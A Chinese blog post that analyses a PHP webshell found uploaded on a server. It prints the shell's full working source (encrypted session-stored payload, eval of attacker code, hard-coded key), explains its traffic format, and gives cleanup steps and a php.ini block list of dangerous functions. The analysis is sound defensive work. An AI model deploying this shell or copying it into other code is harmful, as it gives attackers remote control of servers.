【PHP】PHP WebShell(网页木马)分析

前几天,收到某台服务器异常警告,在附件文件夹中发现了一个异常上传的php文件,和大家分享一下文件内容,注意服务器安全。

源代码文件名:e9b94bd64ae7e66c5988e07d29e21c3d.php

php 复制代码
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encryption($data, $mode,$key) {
    $result = false;
    $iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
    $blocksize = 16;
    $size = strlen($data)%16;
    if (function_exists("openssl_encrypt") && $mode<2) {
        if ($mode == 1) {
            $pad = $blocksize - (strlen($data) % $blocksize);
            $data.= str_repeat(chr($pad), $pad);
            $result = @openssl_encrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv);
        } else if (!$size){
            $result = @openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv);
        }
    } else if (function_exists("mcrypt_encrypt")&&$mode<2) {
        if ($mode == 1) {
            $pad = $blocksize - (strlen($data) % $blocksize);
            $data.= str_repeat(chr($pad), $pad);
            $result = @mcrypt_encrypt("rijndael-128", $key, $data, "ecb", $iv);
        } else if (!$size){
            $result = @mcrypt_decrypt("rijndael-128", $key, $data, "ecb", $iv);
        }
    }
    if (!$result)
    {
        $len = strlen($data);
        $keyLen = strlen($key);
        $index = 0;
        for ($i = 1; $i <= $len; $i++) {
            $index = $i - 1;
            $data[$index] = $data[$index] ^ $key[($i % $keyLen)];
        }
        return $data;
    }
    if ($mode == 0) {
        $pad = ord($result {
        strlen($result) - 1
        });
        if ($pad > strlen($result)) return false;
        if (strspn($result, chr($pad), strlen($result) - $pad) != $pad) return false;
        $result = substr($result, 0, -1 * $pad);
    }
    return $result;
}

$pass = 'pass';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';
if (isset($_POST[$pass])) {
    $data = base64_decode($_POST[$pass]);
    if (isset($_SESSION[$payloadName])) {
        $payload = encryption($_SESSION[$payloadName],0, $key);
        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = encryption($_SESSION[$payloadName],0, $key);
        }
        $data = encryption($data,0, $key);
        eval($payload);
        echo substr(md5($pass.$key), 0, 16);
        echo base64_encode(encryption(@run($data),1,$key));
        echo substr(md5($pass.$key), 16);
    } else {
        $data = encryption($data,2,$key);
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encryption($data,1, $key);
        }
    }
}

这段代码是一个典型的 PHP WebShell(网页木马),用于远程控制服务器。它通过加密通信和会话存储实现隐蔽的代码执行。以下是详细分析:


核心功能

  1. 加密通信:使用 AES-128-ECB 对传输的数据进行加密,避免明文特征被检测
  2. 会话持久化 :将恶意代码(payload)存储在 $_SESSION 中,实现无文件落地执行
  3. 动态代码执行 :通过 eval() 执行攻击者发送的任意 PHP 代码
  4. 双向验证:通过 MD5 校验和确认通信完整性

代码流程解析

初始化
php 复制代码
@session_start();          // 开启会话存储payload
@set_time_limit(0);        // 取消执行时间限制
@error_reporting(0);       // 屏蔽错误信息,隐藏痕迹
加密函数(关键)
php 复制代码
function encryption($data, $mode, $key) {
    // 优先使用 openssl,备选 mcrypt,最后降级为异或
    // $mode: 0=解密, 1=加密, 2=异或解密
}
主逻辑
php 复制代码
$pass = 'pass';                    // 通信密码
$payloadName = 'payload';          // 会话变量名
$key = '3c6e0b8a9c15224a';         // 硬编码的16字节密钥

if (isset($_POST[$pass])) {        // 接收POST参数"pass"
    
    // 第一次请求:上传payload
    if (!isset($_SESSION[$payloadName])) {
        $data = encryption(base64_decode($_POST[$pass]), 2, $key);
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encryption($data, 1, $key); // 加密存入session
        }
    } 
    // 后续请求:执行命令
    else {
        $payload = encryption($_SESSION[$payloadName], 0, $key); // 从session解密payload
        $data = encryption(base64_decode($_POST[$pass]), 0, $key); // 解密命令数据
        eval($payload);                                          // 执行payload
        echo md5校验和 + base64_encode(加密结果) + md5校验和;     // 返回加密数据
    }
}

通信特征

请求示例

http 复制代码
POST /shell.php HTTP/1.1
pass=base64_encode(加密数据)

响应格式

复制代码
[前16位MD5][base64加密结果][后16位MD5]

典型用途

攻击者可利用此木马实现:

  • 文件操作(上传/下载/删除)
  • 命令执行(system(), exec()
  • 数据库操作
  • 内网渗透
  • 安装后门程序

安全警告

⚠️ 法律风险 :使用、传播或部署此类代码违反《网络安全法》等法规,可能导致刑事责任

⚠️ 检测难点 :加密流量+无文件特征,传统IDS/IPS难以检测

⚠️ 处置建议

  1. 立即删除可疑文件
  2. 检查 $_SESSION 存储路径清理残留
  3. 审计服务器访问日志
  4. 修改所有密码,排查系统漏洞
  5. 使用 php.ini 禁用 eval() 等危险函数

防御措施

ini 复制代码
; php.ini配置
disable_functions = eval,exec,shell_exec,system,passthru
open_basedir = /var/www/html
session.save_path = /tmp/sessions  ; 限制session目录权限

该木马属于 "内存马" 的变种,通过加密和会话机制实现高级隐蔽性,是常见的网站攻击工具。

相关推荐
q***69771 小时前
java进阶1——JVM
java·开发语言·jvm
沐知全栈开发1 小时前
PHP $_GET 变量详解
开发语言
原神启动11 小时前
云计算大数据——shell教程(三剑客之awk)
大数据·开发语言·perl
加勒比之杰克2 小时前
【C++11】Lambda 表达式、可变参数、emplace_back 系列
开发语言·c++·lambda·emplace_back·可变参数模版
思成不止于此2 小时前
【C++ 数据结构】二叉搜索树:原理、实现与核心操作全解析
开发语言·数据结构·c++·笔记·学习·搜索二叉树·c++40周年
2501_916007472 小时前
iOS 压力测试的工程化体系,构建高强度、多维度、跨工具协同的真实负载测试流程
android·ios·小程序·uni-app·cocoa·压力测试·iphone
P***25392 小时前
JavaScript部署
开发语言·前端·javascript
come112343 小时前
现代前端技术栈关系详解 (PHP 开发者特供版)
开发语言·前端·php
yong99903 小时前
基于互信息的Matlab多模态医学图像配准实现
开发语言·matlab